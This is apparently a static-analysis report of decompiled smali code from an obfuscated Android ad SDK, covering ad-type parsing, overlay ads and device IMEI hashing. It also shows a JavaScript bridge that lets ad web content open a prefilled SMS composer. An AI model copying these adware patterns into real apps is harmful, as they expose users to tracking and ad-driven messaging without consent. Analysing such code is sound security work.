79invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
80move-result-object v3
81goto/16 :goto_30
82cond_69:
83const-string v6, "adtype"
85invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
86move-result-object v0
87goto/16 :goto_3a
88cond_70:
89const-string v6, "OLAU"
91invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: OLAU
92move-result v6
93if-nez v6, :cond_90
95const-string v6, "DAU"
97invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
98move-result v6
99if-nez v6, :cond_90
101const-string v6, "DCC"
103invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
104move-result v6
105if-nez v6, :cond_90
107const-string v6, "DCM"
109invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
110move-result v6
111if-eqz v6, :cond_9e
112cond_90:
113invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->showOverlayAd(Ljava/lang/String;)V
114try_end_93: goto/16 :goto_17
115catch_94: move-exception v1
117const-string v6, "AirplaySDK"
119const-string v7, "Error in Smart Wall response: "
121invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in Smart Wall response:
122goto/16 :goto_17
123try_start_9e:
124const-string v6, ""
126invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
127move-result v6
128if-nez v6, :cond_b3
130const-string v6, "FP"
132invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: FP
133move-result v6
134if-eqz v6, :cond_b3
136invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V
137goto/16 :goto_17
138cond_b3:
139const-string v6, ""
141invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
142move-result v6
143if-nez v6, :cond_c8
145const-string v6, "MFP"
147invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: MFP
148move-result v6
149if-eqz v6, :cond_c8
151invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V
152goto/16 :goto_17
153cond_c8:
154const-string v6, "AirplaySDK"
155new-instance v7, Ljava/lang/StringBuilder;
157invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
159const-string v8, "Invalid ad type delivered in SmartWall: "
161invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid ad type delivered in SmartWall:
162move-result-object v7
164invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
165move-result-object v7
167invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
168move-result-object v7
170invoke-static {v6, v7}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
171goto/16 :goto_17
172cond_e2:
173invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
174try_end_e5: goto/16 :goto_17
Cross References
APIs
  • android.util.AttributeSet.getAttributeBooleanValue
  • android.util.AttributeSet.getAttributeValue
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.String.equals
  • android.util.AttributeSet.getAttributeValue
  • android.util.AttributeSet.getAttributeBooleanValue
  • android.util.Log.w
  • android.util.Log.e
  • android.util.Log.w
Strings
  • http://schemas.android.com/apk/res-auto
  • test_mode
  • banner_type
  • image
  • text
  • rich_media
  • medium_rectangle
  • inappad
  • AirplayMraid
  • Banner Type
  • placementType
  • animation
  • canShowMR
  • Invalid banner type. Setting to default: inappad
  • Error occurred:
  • Invalid placement type. Setting to default placementType: inline.
  • inline
  • fade
  • AttributeSet is null. Using default parameters
Position Instruction Meta Information
0.param p1, "attributeSet" # Landroid/util/AttributeSet;
1.prologue
2if-eqz p1, :cond_b5
3try_start_2:
4const-string v2, "http://schemas.android.com/apk/res-auto"
6const-string v3, "test_mode"
7const/4 v4, 0x0
9invoke-interface {p1, v2, v3, v4}, Landroid/util/AttributeSet;->getAttributeBooleanValue(Ljava/lang/String;Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: test_mode
    • p2: 0
10move-result v3
11iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
12const/16 v3, 0x2d
13iput v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
15const-string v3, "banner_type"
17invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: banner_type
18move-result-object v0
19if-eqz v0, :cond_8f
21const-string v3, "image"
23invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
24move-result v3
25if-nez v3, :cond_41
27const-string v3, "text"
29invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
30move-result v3
31if-nez v3, :cond_41
33const-string v3, "rich_media"
35invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
36move-result v3
37if-nez v3, :cond_41
39const-string v3, "medium_rectangle"
41invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
42move-result v3
43if-nez v3, :cond_41
45const-string v3, "inappad"
47invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inappad
48move-result v3
49if-eqz v3, :cond_8f
50cond_41:
51const-string v3, "AirplayMraid"
52new-instance v4, Ljava/lang/StringBuilder;
54invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
56const-string v5, "Banner Type"
58invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Banner Type
59move-result-object v4
61invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62move-result-object v4
64invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
65move-result-object v4
67invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
68iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
69goto_5b: if-eqz v0, :cond_75
71const-string v3, "rich_media"
73invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
74move-result v3
75if-eqz v3, :cond_75
77const-string v3, "placementType"
79invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: placementType
80move-result-object v3
81if-eqz v3, :cond_a4
83const-string v3, "placementType"
85invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: placementType
86move-result-object v3
87iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String;
88goto_75:
89const-string v3, "animation"
91invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: animation
92move-result-object v3
93if-eqz v3, :cond_b0
95const-string v3, "animation"
97invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: animation
98move-result-object v3
99iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
100goto_85:
101const-string v3, "canShowMR"
102const/4 v4, 0x0
104invoke-interface {p1, v2, v3, v4}, Landroid/util/AttributeSet;->getAttributeBooleanValue(Ljava/lang/String;Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: http://schemas.android.com/apk/res-auto
    • p1: canShowMR
    • p2: 0
105move-result v3
106iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z
107goto_8e: return-void
108cond_8f:
109const-string v3, "inappad"
110iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
112const-string v3, "AirplayMraid"
114const-string v4, "Invalid banner type. Setting to default: inappad"
116invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Invalid banner type. Setting to default: inappad
117try_end_9a: goto/16 :goto_5b
118catch_9b: move-exception v1
120const-string v3, "AirplayMraid"
122const-string v4, "Error occurred: "
124invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Error occurred:
125goto/16 :goto_8e
126try_start_a4:
127const-string v3, "AirplayMraid"
129const-string v4, "Invalid placement type. Setting to default placementType: inline."
131invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Invalid placement type. Setting to default placementType: inline.
133const-string v3, "inline"
134iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String;
135goto/16 :goto_75
136cond_b0:
137const-string v3, "fade"
138iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
139goto/16 :goto_85
140cond_b5:
141const-string v3, "AttributeSet is null. Using default parameters"
143invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AttributeSet is null. Using default parameters
145const-string v3, "inappad"
146iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
147const/4 v3, 0x0
148iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z
150const-string v3, "fade"
151iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
152const/16 v3, 0x2d
153iput v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
155const-string v3, "inline"
156iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String;
157const/4 v3, 0x0
158iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
159try_end_d0: goto/16 :goto_8e
APIs
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Intent.setType
  • android.content.Intent.putExtra
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • AirplayMraid
  • Sending SMS.....
  • sendSms
  • Numer is null.
  • SMS text is null.
  • Error whlie displaying push ad......:
  • Error occurred while sending message
  • error
  • android.intent.action.VIEW
  • vnd.android-dir/mms-sms
  • address
  • sms_body
  • 98
Position Instruction Meta Information
0.param p1, "number" # Ljava/lang/String;
1.param p2, "sms_text" # Ljava/lang/String;
2.annotation runtime Landroid/webkit/JavascriptInterface;
3.end annotation
4.prologue
6const-string v2, "AirplayMraid"
8const-string v3, "Sending SMS....."
10invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Sending SMS.....
11try_start_7:
12iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
14invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
15move-result-object v2
16if-eqz v2, :cond_18
18iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
20invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
21move-result-object v2
23invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
24cond_18: if-eqz p1, :cond_22
26const-string v2, ""
28invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
29move-result v2
30if-eqz v2, :cond_2c
31cond_22:
32iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
34const-string v3, "sendSms"
36const-string v4, "Numer is null."
38invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sendSms
    • p1: Numer is null.
39goto_2b: return-void
40cond_2c: if-eqz p2, :cond_36
42const-string v2, ""
44invoke-virtual {p2, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
45move-result v2
46if-eqz v2, :cond_74
47cond_36:
48iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
50const-string v3, "sendSms"
52const-string v4, "SMS text is null."
54invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sendSms
    • p1: SMS text is null.
55try_end_3f: goto/16 :goto_2b
56catch_40: move-exception v0
58const-string v2, "AirplayMraid"
59new-instance v3, Ljava/lang/StringBuilder;
61invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
63const-string v4, "Error whlie displaying push ad......: "
65invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error whlie displaying push ad......:
66move-result-object v3
68invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
69move-result-object v4
71invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
72move-result-object v3
74invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
75move-result-object v3
77invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
79iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
81const-string v3, "sendSms"
83const-string v4, "Error occurred while sending message"
85invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sendSms
    • p1: Error occurred while sending message
87iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
89const-string v3, "error"
91invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
92goto_6d:
93iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
94const/4 v3, 0x1
96invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
97goto/16 :goto_2b
98try_start_74: new-instance v1, Landroid/content/Intent;
100const-string v2, "android.intent.action.VIEW"
102invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
103const/high16 v2, 0x10000000
105invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
107const-string v2, "vnd.android-dir/mms-sms"
109invoke-virtual {v1, v2}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: vnd.android-dir/mms-sms
111const-string v2, "address"
113invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: address
115const-string v2, "sms_body"
117invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: sms_body
119iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
121invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
122move-result-object v2
124invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
126iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
128const-string v3, "98"
130invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 98
131try_end_9f: goto/16 :goto_6d
APIs
  • android.widget.FrameLayout.<init>
  • java.util.ArrayList.<init>
  • com.vxjxu.jkhfn1870.AdView$2.<init>
  • java.lang.String.equals
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.AdView.setVisibility
  • com.vxjxu.jkhfn1870.AdView.getBackground
  • com.vxjxu.jkhfn1870.AdView.setClickable
  • com.vxjxu.jkhfn1870.AdView.setFocusable
  • com.vxjxu.jkhfn1870.AdView.setDescendantFocusability
  • java.lang.Thread.isAlive
  • com.vxjxu.jkhfn1870.AdView.getAd
Strings
  • AirplayMraid
  • fade
  • inappad
  • image
  • text
  • rich_media
  • medium_rectangle
  • inline
  • interstitial
  • Initializing AdView
  • Invalid banner type. Setting to default: inappad
  • Invalid placement type. Setting to default: inline
  • Required BrowserActivty not found in Manifest please add.
  • Can not serve ad on this device. Device details not found.
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.param p2, "banner_type" # Ljava/lang/String;
2.param p3, "placementType" # Ljava/lang/String;
3.param p4, "isTestMode" # Z
4.param p5, "canShowMRInAPP" # Z
5.param p6, "animationForBanner" # Ljava/lang/String;
6.prologue
7const/16 v6, 0x2d
8const/4 v5, 0x0
9const/4 v4, 0x1
11invoke-direct {p0, p1}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
13const-string v1, "AirplayMraid"
14iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->TAG:Ljava/lang/String;
15iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z
16iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
17iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
18iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
19iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z
20const-wide/16 v2, 0x0
21iput-wide v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J
22iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
23const/16 v1, 0x1d4
24iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
25const/16 v1, 0x3c
26iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
27new-instance v1, Ljava/util/ArrayList;
29invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
30iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List;
32const-string v1, "fade"
33iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
35const-string v1, "inappad"
36iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
37iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z
38new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$1;
40invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
41iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
42new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$2;
44invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$2;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
45iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
46new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$8;
48invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$8;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
49iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
50iput-boolean p4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
51if-eqz p2, :cond_b7
53const-string v1, "image"
55invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
56move-result v1
57if-nez v1, :cond_75
59const-string v1, "text"
61invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
62move-result v1
63if-nez v1, :cond_75
65const-string v1, "rich_media"
67invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
68move-result v1
69if-nez v1, :cond_75
71const-string v1, "medium_rectangle"
73invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
74move-result v1
75if-nez v1, :cond_75
77const-string v1, "inappad"
79invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inappad
80move-result v1
81if-eqz v1, :cond_b7
82cond_75: iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
83goto_77:
84iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
85if-eqz v1, :cond_99
87iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
89const-string v2, "rich_media"
91invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
92move-result v1
93if-eqz v1, :cond_99
94if-eqz p3, :cond_c3
96const-string v1, "inline"
98invoke-virtual {p3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inline
99move-result v1
100if-nez v1, :cond_97
102const-string v1, "interstitial"
104invoke-virtual {p3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: interstitial
105move-result v1
106if-eqz v1, :cond_c3
107cond_97: iput-object p3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String;
108cond_99: iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
109iput-boolean p5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z
110if-eqz p6, :cond_cf
111iput-object p6, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
112goto_a1:
113const-string v1, "AirplayMraid"
115const-string v2, "Initializing AdView "
117invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Initializing AdView
119invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z
120move-result v1
121if-eqz v1, :cond_b4
123invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z
124move-result v1
125if-nez v1, :cond_d4
126cond_b4: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
127goto_b6: return-void
128cond_b7:
129const-string v1, "inappad"
130iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
132const-string v1, "AirplayMraid"
134const-string v2, "Invalid banner type. Setting to default: inappad"
136invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Invalid banner type. Setting to default: inappad
137goto/16 :goto_77
138cond_c3:
139const-string v1, "inline"
140iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String;
142const-string v1, "AirplayMraid"
144const-string v2, "Invalid placement type. Setting to default: inline"
146invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Invalid placement type. Setting to default: inline
147goto/16 :goto_99
148cond_cf:
149const-string v1, "fade"
150iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
151goto/16 :goto_a1
152cond_d4: const-class v1, Lcom/vxjxu/jkhfn1870/BrowserActivity;
154invoke-static {p1, v1}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
155move-result v1
156if-nez v1, :cond_e8
158const-string v1, "AirplayMraid"
160const-string v2, "Required BrowserActivty not found in Manifest please add."
162invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Required BrowserActivty not found in Manifest please add.
163const/4 v1, 0x1
164iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
165try_end_e6: goto/16 :goto_b6
166catch_e7: move-exception v1
167cond_e8: const/16 v1, 0x8
169invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
170new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails;
172invoke-direct {v0, p1}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V
174invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z
175move-result v1
176if-nez v1, :cond_106
178sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
179if-eqz v1, :cond_103
181sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
183const-string v2, "Can not serve ad on this device. Device details not found."
185invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Can not serve ad on this device. Device details not found.
